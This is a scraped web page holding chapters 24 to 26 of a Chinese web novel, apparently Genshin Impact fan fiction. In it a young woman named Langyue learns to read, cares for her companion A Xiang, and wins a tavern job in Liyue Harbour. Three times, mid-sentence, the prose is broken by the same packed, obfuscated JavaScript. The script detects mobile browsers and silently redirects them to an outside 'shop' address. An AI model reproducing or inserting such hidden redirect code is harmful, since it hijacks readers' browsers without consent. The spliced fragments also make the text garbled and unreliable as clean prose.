吃完饭,孙干事招呼大家收工。朗樾跟着队伍往回走,脚步却慢了下来。 走到三碗不过港时,她终于忍不住开了口:“孙干事,我……能不能在这儿逛一会儿?就一会儿,认认路。待会儿我自己回去。” 孙干事很干脆地同意了。“行。逛完你自己回去。”公益劳动说好每天两个时辰,今天的已经结束,他倒不在意这些人是要马上回去还是想逛逛街。 朗樾松了口气。 倒是阿响,脸上很茫然,嘴唇微张,手里拿着铲子只盯着她,脚下没动。 她有点怕他闹起来不肯先走,赶紧低声说:“阿响,你先回去,我很快就来。真的,很快。”她指了指那棵大树,“我就去那边看看,一会儿就回宿处找你。” —— 回到宿处时,没人多看她一眼。有些人在休息,更多人是在外面找工作。朗樾没第一时间看到阿响,有点心慌——那家伙不会走丢了吧? 好在她又找出去时,在前院看到了阿响。 他正站在廊下,和一个女子说话。那女子背对着朗樾,身形窈窕,穿着素净的棉布衣裙,正微微倾身,像在耐心询问什么。 是沐云干事。朗樾记得这个名字,也记得那张总是带着温和笑意的脸,还有那双仿佛能看进人心里去的眼睛。 阿响似乎有些无措,空茫的眼神盯着地面,偶尔点一下头,或摇摇头。沐云也不急,声音轻柔,语速平缓。 朗樾快步走过去,叫了一声:“阿响。” 阿响立刻抬起头看向她,空茫的眼神里似乎有了焦点,朝她这边挪了一小步。沐云也转过身来,看到朗樾,脸上露出那种熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307628|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉的、令人放松的浅笑。 “你是朗樾吧?我正好找你们俩。”沐云的声音和她的人一样,温和清晰,“听说你们想从今天起跟明伯学识字?” 朗樾心里一动,点头:“是,石锁干事昨天提过,说可以找明伯学。” “嗯,明伯是退休后过来疏导处帮忙的,他曾经是账房先生,既通算术又晓律法。”沐云说着,目光在朗樾脸上停了一瞬,又很自然地转向阿响,最后重新落回朗樾身上,“学习的时间定在每日未时两刻,就在后院东边的廊下。今天就可以开始。明伯那边我已经打过招呼了。” “谢谢沐云干事。”朗樾连忙道谢,心里却隐约觉得,她的目光虽然关切,但也有一丝不易察觉的、观察的意味。 “不用客气。”沐云笑了笑,语气依旧温和,却多了几分认真,“疏导处鼓励大家学东西,识字是第一步。能看懂招工告示,能算清工钱,以后的路才宽。你们既然有心,就坚持下去。” 她顿了顿,看向朗樾。 “我听石锁干事说,你们这几天干活都挺踏实,这很好。在璃月港,踏实肯干的人,总不会过得太差。” 她的话像是鼓励,又像在传递某种信息。朗樾听在耳里,再次认真道了谢。 沐云点点头,没再多说,只又嘱咐了一句“未时两刻,别迟了”,便转身离开。步履轻盈,很快消失在走廊拐角。 朗樾看着她离开,转过头,正对上阿响的视线。 他那些常常空茫的眼睛,此刻一眨不眨地看着她,里头清楚地映着她的影子。好像在说:你可算回来了。 她心里没来由地一暖。这些天压着的沉重,好像都轻了一点。 她伸出手,在他有些毛躁的发顶揉了一把。 “走,”她说,“先回去喝口水。等会儿咱们去找明伯。” —— 回到大通铺,朗樾和阿响各自灌了半瓢凉水,稍稍歇了歇脚。未时将至,朗樾不敢耽搁,拉着阿响又回到疏导处后院。 东边的廊下已经支起几张旧木桌。一位年约六旬的老人坐在一张桌子后面,慢条斯理地整理着几块擦得干净的黑石板和几盒炭笔。 除了他们,还有三四个同样穿着朴素、面带风霜的男女已经坐在矮凳上,拘谨地等待着。 看到朗樾和阿响,明伯脸上露出和蔼的笑,指了指空位:“来了?坐这儿吧。” 两人在靠边的位置坐下。明伯给每人发了一块小黑板和一截炭笔。朗樾接过,入手沉甸甸的,石板冰凉,炭笔粗糙。她学着别人的样子,把石板放在膝盖上。 “今日,我们先学三个字。”明伯声音不高,但吐字清晰。他拿起一支粗炭笔,在一块稍大的黑板上,慢慢地、一笔一划地写下一个字。 那字的结构让朗樾心头一跳——它有点像她记忆中的汉字,但笔画更加曲折、繁复,带着一种古朴而陌生的装饰感。第一笔的起势,中间的转折,最后的收笔,都和她认知里的“汉字”似是而非。 这是提瓦特大陆,璃月港的文字。是游戏里那些精美图标背后的真实模样。 “这个字,念‘人’。”明伯写完,用手指着,声音平稳,“天地之间,最重者为人。看它的模样,像不像一个人站立的样子?” 朗樾盯着那个字。像吗?或许吧。顶端的笔画有点像头,中间的竖笔是身躯,分开的两笔是腿……但更多的是一种强制性的联想。对她而言,这首先是一个需要记住的全新图形。 她拿起炭笔,学着明伯的样子,在膝盖上的小黑板上尝试。 炭笔尖划过石板,发出刺耳的“吱嘎”声,留下一道歪歪扭扭、粗细不匀的痕迹。她手腕僵硬,怎么也写不出流畅的弧度。写出来的“人”字,头重脚轻,比例古怪,像个站不稳的醉汉。 旁边传来更用力的“吱嘎”声。 朗樾侧头看去,只见阿响几乎把整支炭笔都按在了石板上,脸凑得极近,眉头紧锁,嘴唇抿成一条线,正用几乎是在“刻”的力气,试图复现那个字。他写出来的线条更深,也更乱,几乎看不出字形,更像一团纠结的黑色污迹。 明伯踱步过来,低头看了看。没有批评,只是温和地指点: “手腕放松,莫要太用力。写字如做人,一笔一划,急不得。” 他接过朗樾的炭笔,在她旁边空白处,又慢慢地、清晰地示范了一遍。 “看,起笔要稳,行笔要匀,收笔要轻。” 朗樾屏住呼吸看着。这一次,她努力不去想“这像不像汉字”,而是纯粹地观察线条的走向、力度的变化。 她重新拿起炭笔,吸了口气,手腕试着放松,依样画瓢。 还是丑。 但至少比第一遍顺眼了些。 24. 第 24 章 这也是种拼命啊 明伯又去看阿响,耐心纠正他握笔的姿势,让他别用那么大力气。阿响似懂非懂地点点头,重新尝试,力道收住了一点,但笔画依旧生硬。 接着,明伯又教了“口”和“日”。朗樾发现,“口”字方方正正,相对好写,但笔画的转折处还是别扭。“日”字则让她有些恍惚——中间那一点的位置和形态,跟她记忆中的汉字微妙地不同,仿佛在提醒她,这里终究是另一个世界。 一个时辰的识字课结束,其他人陆续交还石板炭笔,带着或疲惫或茫然的神色离开。朗樾磨蹭着留到最后。 她小心地用袖口擦干净小黑板上那些歪扭的痕迹,走到明伯书案前,却没有立刻放下。 书案后的老人抬起头。面庞清癯,眼角刻着深深的皱纹,眼睛却依旧清亮有神。此刻正温和地看着她,等她说话。 “明伯。”朗樾声音发紧,还是鼓足勇气开口,“我……我想学得更快些。晚上宿处那边还有点时间,光靠想,我怕记不住。您这里……有没有那种最简单的,能让我自己看着练的字帖,或者带图画的识字本?” 她一口气说完,心跳得有点快。她知道这要求可能有些过分,毕竟疏导处提供免费教学已是不易。但她等不了。那种看不懂告示、听不懂复杂指令、像个睁眼瞎一样在璃月港摸索的无力感,比身体的劳累更让她心慌。她必须抓住一切机会,用最快的速度武装自己。 明伯手顿了顿,目光在她脸上多停留了一瞬。老人眼神温和,但那份清亮里带着阅尽世事的清明。他今天注意到了,这姑娘学得比旁人快不少。握笔姿势从生涩到稳定,字形模仿从歪扭到有模有样,几乎只用了旁人一半的时间。这份专注和领悟力,不像个真正的“白丁”。 “想晚上自己练?”明伯缓缓问道,没有立刻拒绝。他听出了那急切背后的惶恐,也看到了那份不甘落后的倔强。 “嗯。”朗樾用力点头,手指不自觉地捏紧了冰凉的石板边缘,“我……我觉得我学得还是太慢了。我想快点……快点能看懂东西。” 明伯沉默片刻,弯腰从书案下层一个旧藤箱里翻出两本薄薄的小册子。纸页泛黄,边角磨损得厉害,用麻线简陋地钉着,一看就有些年头了。 “你这丫头,心倒是急。”明伯将那本稍厚的册子递过来,语气里没有责备,反而有一丝几不可察的鼓励,“这本是《开蒙三百字》,带图,好认。你学得快,自己看看,或许能跟上。另一本《市井杂字》,更实用些。” 朗樾几乎是双手接过。入手很轻,纸页粗糙的质感摩擦着掌心,却让她心里沉甸甸地踏实下来。明伯那句“你学得快”,让她既有点心虚,又莫名多了点底气。 “先借你看。”明伯看着她小心翼翼的样子,语气温和中带着提醒,“要爱惜些。有看不懂的,或是觉得图不对的,明天来问我。识字是水磨工夫,急不得,但也贵在坚持。你有这份心,很好。” “谢谢明伯!我一定小心,一定好好学!”朗樾连声道谢,将册子珍而重之地贴胸口收好。 从明伯那里出来,日头才刚刚西斜,离黄昏还早。朗樾不想立刻回宿处——那里人多声音杂,肯定不适合学习。 她拉着阿响,在疏导处后院找了个相对安静的角落——离公共水井不远,有几块还算平整的石头可以坐,光线也还好。她迫不及待地翻开那本《开蒙三百字》。 册子比她想象的更简陋,但很实用。每个陌生字符旁边,都用简拙的线条画着对应的实物:画太阳的是“日”,画弯月的是“月”,画张开嘴的人侧脸的是“口”……图画抽象,但联想起来确实方便。她如饥似渴地看着,用手指在空中笨拙地比划笔顺,嘴里无声地默念。阿响挨着她坐下,也探头看着册子上的图画,空茫的眼神里似乎多了点专注。 她教阿响认那几个今天学过的字,指着图画,再指指字符。阿响学得很慢,常常混淆,但她耐心地一遍遍重复。后来她索性不再刻意教,只是自己沉浸其中,遇到稍微眼熟或猜测可能常用的字,就多琢磨几遍,试图在脑子里建立起图形和意义的联系。 时间在专注中流逝得飞快。等她眼睛发酸、脖子僵硬地抬起头,才发现天光已经暗沉下来,暮色四合。远处传来隐约的钟声。 “糟了!”朗樾猛地想起疏导处那顿晚饭是有固定时辰的!她慌慌张张合上册子,拉起阿响冲回宿处,拿了两人的碗筷又往发放餐食的前院棚子跑。 跑到地方时,那里已经没什么人了。分发饭菜的妇人正板着脸收拾所剩无几的粥桶和馒头筐,看到气喘吁吁跑来的两人,没好气地哼了一声。 “还以为你们不吃了呢!磨磨蹭蹭的,就剩这点底子了!”妇人一边抱怨,一边动作粗鲁地从桶底刮出两碗几乎全是清汤、只有零星米粒的稀粥,又从筐里拿出两个格外干瘪小的馒头,“啪”地放在台子上。 朗樾顾不上对方的白眼,连声道谢,赶紧端起碗。粥几乎是温的,馒头又冷又硬。但她和阿响都饿得前胸贴后背,蹲在棚子角落,三两口就把那点食物吞了下去。肚子依旧没饱,但至少没那么火烧火燎地空了。 回到拥挤昏暗的宿处,借着门口和远处窗户透进来的微弱光线,朗樾又忍不住摸出那本《开蒙三百字》。光线太暗,字和图都模糊成一团,只能勉强辨认大概轮廓。阿响安静地躺在他自己的铺位上,面朝着她这边,眼睛在黑暗里映着一点点微光,不知道是在看她,还是在发呆。 朗樾叹了口气,把册子重新贴身收好。她躺下来,身下的草席依旧粗糙硌人。但今天,她脑子里不再是全然空茫的焦虑和疲惫,而是塞满了一个个扭曲陌生的字符和它们旁边简陋的图画。 “日……月……口……人……”她在心里无声地复习,手指在薄薄的被面上无意识地划拉着。 虽然前路依旧艰难,虽然饥饿和困窘如影随形,但至少,她今天又往前挪了一小步。很小的一步,但方向是明确的。 ———————— 廊棚下,几个妇人凑一堆,手里缝着破衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307629|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裳,嘴却没闲着。 “瞧见没?就那边那个,叫阿月的,还有她旁边那傻小子。” “天天捧着本破册子,跟要考状元似的。下了工不歇着,拿根树枝在地上划拉,魔怔了。” “嗤,认几个字能当饭吃?石锁干事心善,给个机会,还真当自己能飞上枝头了?瞧她那细胳膊细腿的,重活干不了,刺绣缝补也不见她来学,整天跟那些墨疙瘩较劲。” “就是,不合群。陈婆婆上次喊她一起纳鞋底,她说要学字,扭头就走。清高个什么劲儿,不跟咱们一样,是来讨口饭吃的?” “听说还藏着掖着,有点吃的先紧着那傻小子……自己饿得脸发青,充什么好人……” 笑声压低了,跟苍蝇嗡嗡似的。 朗樾没抬头。膝盖上摊着那本《开蒙三百字》,炭笔停在“米”字最后一捺,笔尖晕开一小团黑。她写的字依旧不好看,笔画生硬,但结构已经清晰不少。旁边木板上,“柴”“盐”“油”几个字也各占一角,工整得甚至有些刻板。 她没在欣赏自己的字。她在听。 胃里抽了一下——早上那碗稀粥早没了,这会儿空的能听见响。 这几天,她和阿响永远是吃得最早、赶得最晚的那两个。最开始也有人凑过来说话,打听她从哪来的、跟阿响什么关系。她没时间聊,聊不到两句就躲开。 然后就成这样了。 不合群?清高? 她扯了扯嘴角,心里没什么波澜,只有一片冰凉的疲倦。她哪有资格清高。可她更没力气去合群。学字是眼下唯一能抓得住的东西。跟人闲聊、学纳鞋底,换来的不过是几句表面的热乎话,或者多一口旁人施舍的吃食。然后呢?七天后,她还是那个看不懂告示、算不清工钱、只能干最脏最累活的朗樾。 她赌不起。 旁边窸窸窣窣一阵响。阿响不知什么时候放下了他那块画得乱七八糟的木板,挪了挪凳子,挨到她胳膊边上。他没看那几个妇人,低着头,盯着朗樾木板边缘一颗凸起的木刺,伸出食指,小心翼翼地按了按。 他没说话,但这个动作,像块小小的、安静的盾牌。 朗樾心里那点烦躁,忽然就被熨平了。 她轻轻吐了口气,重新拿起炭笔。 “阿响,”声音压得很低,“你看这个‘米’字,像不像几粒谷子堆在一起?” 阿响凑过来,盯着木板看了好一会儿,点点头,又摇摇头,含糊地说:“像……又不像。谷子……是圆的。” 朗樾愣了一下。看着那个方方正正、全是直线和折角的“米”字,再想想记忆里稻谷饱满圆润的轮廓,她忽然有点想笑。 是啊。这里的“米”,跟她认知里的“米”,不一样。 “你说得对。”她低声说,用炭笔在字旁边轻轻点了点,“这里的‘米’,就是这么写的。我们得记住它。” 耳边的闲话还在飘。但她已经听不见了。 炭笔划过木板,沙沙地响。 25. 第 25 章 努力的活 民生疏导处二楼,堆满卷宗的房间里,午后阳光透过高窗,在旧木桌上切出几道亮斑。 文华摘下眼镜,揉了揉眉心。 “今年疏导处对请仙典仪的协作,就按刚才议定的来。”他的声音不高,带着处理公务时惯有的平稳,“还有一个月,各自把手里的活理顺。总务司盯着的事,别出纰漏。” 石锁嗓门洪亮:“主管放心,码头那边我盯着。” 沐云低头记了几笔。明伯慢慢啜了口温茶,没说话。 “说下一件事。”文华把手边一份名册往前推了推,“新签的‘七日契’,这批人来了多则五六日,少则三四日。说说看,哪些需要留意,后续怎么安排。” 石锁第一个接话:“主管,您还别说,这批人里头真有一对儿挺打眼的。丫头叫朗樾,带个小子叫阿响。” 文华点点头。钟离先生亲自带来、亲自作保的那两个年轻人。他记得。 “怎么个打眼法?” “头一天在后巷扫地,手脚麻利,眼里有活。大前天派去绯云坡通臭水沟——那活儿可埋汰,一般人多少皱眉头,他俩吭哧吭哧就干了。昨儿和今儿在码头帮忙,也没磨洋工。”石锁咂咂嘴,“丫头心细,能坐住,就是身板不算壮。小子力气不小,让干啥干啥,就是反应慢点,得把话掰碎了说。” 文华看向窗边的明伯:“听说他们在您那儿学字?” 明伯正擦着老花镜,闻言抬起头,脸上露出笑意:“是,学了三天了。那阿响学得慢,一笔一画像刻石头,但能坐住,心静。”他戴上眼镜,“倒是那朗樾丫头,有点意思。” “怎么个有意思?” “头一天学‘人’‘口’‘日’三个字,别的孩子还在跟笔画较劲,她看几眼,竟能摹出个大概形状。”明伯指着册子,“课后还专门来找我,想借《开蒙三百字》晚上自己看。这两天更是了不得,学新字快不说,还追着问这字在招牌上怎么写,账目里怎么用。” 老先生摇摇头:“教了这么多年蒙童,这么着急想把字当工具使的,不多见。倒像是生怕晚一天学会,就少一天活路似的。” 文华笑了笑:“听您这么一说,倒是个要强的孩子。她和阿响,关系似乎不一般?” “何止不一般,”石锁接话,“那小子就跟长在她身边似的,只听她的。那丫头也确实护着他,有啥事都挡在前头。” 沐云翻开笔记:“我这几天也接触过几次。朗樾生存能力偏弱,体力一般,没什么本地技能,经济上应该很困难了。但学习能力和意愿极强,目标明确——就是学马上能用的东西。社会适应方面比较封闭,主要精力都放在照顾阿响和自保上。心理压力很大,‘七日契’的时间压力,她感受最直接。” 她顿了顿,补充道:“对了,陈婆婆昨天跟我说,她看见朗樾连续两晚,就着宿处那点微弱的光,用树枝在地上写字练到很晚。婆婆心疼,还念叨‘这孩子也太拼了’。不过……”沐云微微蹙眉,“婆婆说,听见她小声念叨时,冒出一个词,叫‘简体字’。婆婆没听懂,以为是孩子自己瞎编的。” “简体字?”文华重复了一遍。 明伯也摇摇头:“璃月通行文字,并无此种称谓。或许是孩子自己为了方便记忆起的叫法。” 沐云点点头:“我先标个疑点,后续留意。” 文华沉默片刻,指节在名册上轻轻敲了敲。 “他们二人的‘七日契’过了四天,剩下三天,按规矩,该试着给他们找点正经活计看看了。都说说,往哪儿引合适?” 石锁立刻道:“那丫头心细,坐得住,学字快。‘三碗不过港’不是常要个临时帮工记记账、招呼客人么?可以让她去试试半天,看看是不是真能把字和数用起来,也练练和人打交道。小子力气有,能忍受重复活儿,码头货仓分类正缺人,让他去试半天,看能不能在闹腾地方跟住简单指令。” “我看行,”明伯表示赞同,“识字终究要落到用上。我后面教字,也多偏向账目、货物名称这些实用的。” 沐云也点头:“试工是必要的观察环节。安排在同一日上下半天挺好,能看看他们在不同环境下的切换和适应能力。我会跟进记录。” 她想了想,又说:“另外,刚才说到配合总务司那边关于请仙典仪的筹备,往年都需要我们出些人手。今年干脆在签过契里的人里寻摸看看,有特别合适的就推荐过去,也是给他们一个机会。” 文华略一挑眉:“你是说朗樾和阿响?” “不光是他们两个,”沐云认真道,“我看这一批里有好几个都不错。典仪是璃月大事,当然得是表现优异的才能推荐。” 文华沉吟片刻,拍板道:“成,那就这么定。石锁,你去跟‘三碗不过港’和码头三区打招呼,安排后天试工,按半天试工的标准给报酬。沐云你协调跟进,仔细看看。明伯,您老教学上多费心,往实用上引一引。” 他顿了顿:“如果到时候确定合适总务司那活儿,我亲自带他们过去一趟。” 会议很快结束。文华重新埋首文书。石锁和沐云低声商量着明天试工的具体时辰,一前一后离开。明伯慢慢喝完杯中最后一点温茶,拄着拐杖踱了出去。 —————————— 第二天的公益劳动结束得稍晚。 这种情况通常会提供一顿午餐,比早晚那顿好。朗樾吃了顿饱饭,心情好了不少。她和阿响把工具归位,转身就看见沐云干事站在廊下,朝他们招手。 “朗樾,阿响,过来一下。” 阳光晃眼。沐云站在廊柱阴影里,脸上的神情一如既往温和,却让朗樾无端屏住了呼吸。 “有个试工的机会。”沐云开门见山,目光落在朗樾脸上,“‘三碗不过港’酒肆,需要临时帮工,从申时到戌时,主要帮忙收拾碗碟、擦拭桌面、传递轻便物件。管一顿工餐,另算半天工钱,四百摩拉。”她顿了顿,“明天下午开始,试半日。你可愿意?” 三碗不过港! 朗樾呼吸一滞。 脏吗?累吗?会应付不来吗? 这些念头只来得及一闪,就被四百这个数字击碎了。 ——这么多!还管一顿饭! “我愿意!”她听到自己的声音,比想象中更急、更肯定,“沐云干事,我需要准备什么?我一定好好干!” 沐云对她的急切并不意外,笑了笑,递过来一张折好的粗糙黄纸:“这是酒肆里常见的酒水茶点名称和大概价目,你尽量记熟。到了那儿,多看,多听,手脚勤快些,但求一个‘稳’字。遇到难缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307630|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的客人,避开,找掌柜或老伙计。”她的话简洁务实,“这是你站稳的第一步,踏稳了。” 朗樾用力点头,手指紧紧捏住那张纸。沐云转脸对阿响道:“你等会儿也去找石锁,他那边也有活儿让你明天去试试。别害怕,用心做。” 阿响茫然地看着她,又转头看朗樾。 朗樾忙对他点头。阿响于是点一点头,算是听到了。 沐云不以为意地笑笑,转身走了。 从那一刻起,朗樾的心思全扑在那张价目表上。 明伯的识字课,她听得比任何时候都专注。尤其是讲到与市井、货物相关的字词时,她的眼睛亮得惊人。 趁着课间休息,她找到明伯,指着价目表上几个特别复杂的字:“明伯,这几个字怎么念?是什么意思?” 明伯推了推老花镜,耐心地一一解释:“这是‘陈年女儿红’,这是‘竹叶青’,都是好酒。这是‘水晶虾饺’,这是‘蟹黄汤包’,都是吃食。” 朗樾认真地听着,努力把发音和字形对应起来。她知道自己不可能一晚上全记住,但至少要记住最常见的几种,不能客人点单时一问三不知。 那一夜,她睡得极浅,梦里全是酒壶、碗碟和模糊的人声。 —————————— 第二天下午,申时刚过。 三碗不过港正是一天中最热闹的时候。外堂露天平台,七八张方桌几乎坐满。中心说书台空着——田铁嘴还未开讲,但已有不少客人在等。内堂有顶敞厅里也坐了几桌。木制柜台后,酒架上摆满各色酒坛,墙上挂着写满名字的赊账水牌。 谈笑声、碰杯声、跑堂伙计的吆喝声混成一片。空气里弥漫着酒香、菜香和淡淡的油烟味。 朗樾深吸一口气,压下心头的忐忑,找到柜台后的德贵老板。 德贵五十来岁,精瘦,穿着褐色短打,正低头拨弄算盘。听到朗樾自报家门,头也不抬地指了指后厨方向:“疏导处来的?去后头找芷若,她会告诉你该做什么。” 芷若正在内堂擦拭一张刚空出来的桌子。她身形利落,扎着清爽的马尾,衣袖挽到小臂,露出结实的手臂线条。听到脚步声,抬起头,目光明亮地打量了朗樾一眼。 “新来的?我是芷若。先去把外堂那边三张桌上的碗碟收了,送到后厨洗。记住,收的时候轻拿轻放,别弄出太大动静——田先生快开讲了,别打扰客人听书。” 朗樾点点头,挽起袖子开始干活。 油腻的碗碟堆成小山,沉甸甸的托盘端得手臂发酸。人声吵得脑袋嗡嗡响,她得从这片噪音里准确捞出“添茶”、“加菜”的喊声。地上总有点湿滑,每一步都得留神。 之前在望舒客栈洗衣堂,多半是重复的体力活。现在却要求眼观六路、耳听八方。 最初的半个时辰最难熬。她端着装满空碗的托盘走向后厨时,手微微发抖,生怕一个不稳全摔了。有次客人喊“再来一壶桂花酿”,她愣了两秒才反应过来,急忙跑去柜台取酒。 经过内堂时,芷若正单手托着三个盛满酒菜的托盘从她身边经过,脚步稳当如履平地,只在她耳边留下一句低语: “走路看脚下,别光顾着听。” 朗樾心头一凛,连忙放慢脚步,稳了稳手中的托盘。 26. 第 26 章 第一碗中原杂碎 渐渐地,那种生涩感开始褪去。动作还不够流畅,但至少不再慌乱。 有次一桌客人点了杏仁豆腐,她端过去时,客人随口问:“小姑娘,这杏仁豆腐是甜的还是咸的?” 朗樾愣了一下,想起价目表上的描述:“是甜的,加了蜂蜜和桂花糖浆。” 客人点点头,没再说什么。她松了口气,转身时瞥见芷若在外堂另一头收拾桌子,朝她这边看了一眼,微微颔首。 那一个小小的肯定,让她心里踏实了不少。 ———————— 待到戌时末,人潮稍歇。 朗樾把最后一批洗净的碗碟码放归位,擦了手边的台面,走到柜台前。 “老板,今日的活计我做完了。” 德贵从账本上抬起眼,目光在她身上停了停,扫过她还算齐整的袖口和抹净的围裙下摆。他没有立刻说话,放下笔,双手交叠放在账本上。 朗樾的心提到了嗓子眼。 “你……”德贵开口,声音依旧平淡,“今天收碗的时候,有桌客人掉了筷子,你捡起来送去后厨换了新的,是吧?” 朗樾愣了一下,点点头。 “嗯。”德贵应了一声,目光又在她脸上停留片刻,“芷若说你学得还算快。虽然手脚还生,但肯用心。” 他顿了顿:“那种带油渍的空托盘,下回别跟干净碗碟叠一起放,先单放着送去后头洗。” 说完,他才几不可察地点了下头:“行了,你收工吧。灶上还有些剩的馒头,不嫌弃就带两个走。” 话音落下,他便重新低下头。 朗樾怔了一下。 旋即,一股滚烫的喜意猛地从心底窜了上来! 这算是……肯定吗? 她不敢问出口,但一颗心却像被温水浸透的种子,悄然舒展,冒出一点鲜嫩的、颤巍巍的芽尖。 跟德贵老板道了谢,她去了后厨,果然在灶边找到两个用干净屉布盖着的白面馒头,入手还带着一丝舒适的余温。她小心翼翼地揣进怀里,那点温热透过薄薄的衣料熨帖着皮肤,也熨平了最后一丝不确定。 走出酒肆,天已黑尽。 晚风迎面吹来,带着璃月港夜晚特有的微凉水汽,吹散了身上沾染的油烟酒气。疲惫依旧沉甸甸地压在肩背,但那股混合着成就感与希望的兴奋,却像揣在怀里的馒头一样,有了实在的形状和温度。 她忍不住摸了摸胸口那两块凸起,嘴角控制不住地向上弯起。 有戏!真的有戏! 她几乎想原地蹦两下,又强行按捺住,只把步子迈得又轻又快。还不能得意忘形,得等疏导处的正式消息。但回去的脚步,却已不由自主地踩着一种轻快的、仿佛要飘起来的节奏。 ———————— 回到宿处,时间不算早。屋里一些人已经躺下了,空气中浮动着汗味、尘土味和沉睡的呼吸声。 她一眼就看到阿响躺在他自己的铺位上,闭着眼。 “阿响。”她轻快地走过去,在他铺位边沿坐下,压低声音唤道。 阿响睫毛动了动,慢慢睁开眼,空茫的视线在昏暗光线下聚焦到她脸上。他慢吞吞地坐起身。 “你上午去码头了?怎么样?活儿重不重?”朗樾问,声音里还带着未散尽的雀跃。 阿响想了想:“还好。搬木头箱子,有些大,有些小。放成一排一排的。”他停顿了一下,“有个大叔告诉我,大的放一边,小的放一边。我放了。” 他的描述极其简单,几乎没什么情绪。朗樾还想多问两句,但估摸着他大概也说不出更多细节,便住了口。 她想起怀里还揣着东西,立刻将那两个馒头掏出来,不由分说塞进阿响手里。 “给,快吃。还温着呢。” 阿响看着手里突然多出来的白面馒头,愣了一下,然后拿起其中一个,很自然地就递回给朗樾。 朗樾心里一暖,笑着摇摇头:“我吃过了,在酒肆那边。有顿工餐呢,我今晚吃得可饱啦。” 她没撒谎。本来还惋惜不能带回来给阿响,这两个馒头算意外之喜了。 阿响盯着她的脸看了几秒,像是在确认她话里的真假。朗樾笑眯眯的,眼神坦荡。最终,他似乎接受了这个说法,收回手,低下头,开始认真地咬起馒头。他吃得不慢,腮帮子微微鼓起,眼神专注在食物上。 朗樾看着他吃得又快又香的样子,自己心里也涨满了欢快的情绪。她肚子里好像有好多话想说,想跟人分享今天的辛苦和那点隐秘的、成功的预感,想说说三碗不过港的烟火气……但这里不是适合的地方,时间也太晚了点。 等阿响吃完馒头,她跳回自己那张硬板床上,裹紧了薄薄的被子,忍不住搂着它在狭窄的空间里悄悄翻了两个身。胸腔里那股欢欣的劲儿实在压不住,直到旁边铺位有人被惊动,不耐烦地“啧”了一声,她才赶紧屏住呼吸,老老实实躺平。 ———————— 试工结束后的第二天,朗樾几乎是一睁眼就开始等。 等沐云干事。 从清晨到午后,她像只被上了发条的陀螺,在疏导处里外转个不停——公益劳动时格外卖力,把排水沟边的碎石都码得整整齐齐;识字课上,明伯讲什么她都点头,眼睛却总忍不住往门口瞟;连吃饭时都心不在焉,差点把筷子伸进阿响的碗里。 “你……”阿响看着她,慢吞吞地问,“在找什么?” “没、没什么!”朗樾赶紧收回视线,扒拉了两口饭,又忍不住小声嘀咕,“沐云干事怎么还不来……” 阿响似懂非懂地点点头,继续专注地对付碗里的饭菜。 直到申时末,那道熟悉的身影终于出现在廊下。 “朗樾,阿响。”沐云脸上带着温和的笑意,远远地喊,“过来一下。” 朗樾几乎是跳起来的。她拉着阿响快步走过去,心脏在胸腔里咚咚直跳,像揣了只不安分的兔子。 沐云从怀里掏出两个小布袋,先递了一个给朗樾:“喏,你的试工工钱,四百摩拉。三碗不过港的德贵老板很满意,愿意跟你签一份短期契约——十天,每天一千摩拉,包三餐。从明天开始。” 朗樾接过那个沉甸甸的小布袋,手指都有些发颤。 四百摩拉。 一千摩拉一天。 包三餐。 这几个词在她脑子里转啊转,转成了一片晕乎乎的、金灿灿的光。她张了张嘴,想说点什么,却发现自己喉咙发紧,一个字也吐不出来。 沐云又拿出另一个小布袋,递给阿响:“阿响,这是你的试工工钱,三百五十摩拉。码头那边说还要再考虑两天,让你等消息。” 阿响接过布袋,低头看了看,又抬头看朗樾。 朗樾这时终于找回了自己的声音。她深吸一口气,努力让语调听起来平稳些:“沐云干事,谢谢您!我、我一定好好干!” “嗯,好好干。”沐云笑了笑,目光在两人脸上扫过,“有了稳定的收入,你们在璃月港就算初步站稳了。记住,契约明天开始,辰时到三碗不过港报到。” 说完,她拍了拍朗樾的肩膀,转身走了。 朗樾站在原地,手里紧紧攥着那个小布袋。四百摩拉的重量透过粗布传到掌心,真实得让她想哭又想笑。 她做到了。 她真的在璃月港找到了工作,挣到了钱,有了活下去的底气。 “阿响!”她猛地转身,眼睛亮得惊人,“我们有钱了!” 阿响看着她,空茫的视线里似乎也染上了一丝困惑的暖意。他想了想,把手里的布袋递过来,动作自然得像递一杯水。 朗樾愣了一下。 “给你。”阿响说,语气平淡得像在陈述一个事实,“你管钱。” 朗樾看着那只伸过来的手,看着布袋口隐约露出的摩拉光泽,鼻子忽然有点发酸。她没有推辞,伸手接了过来——两个布袋叠在一起,感受这并不比一个馒头重多少的,七百五十摩拉。 这是他们俩在璃月港的第一笔正经收入。 “好! 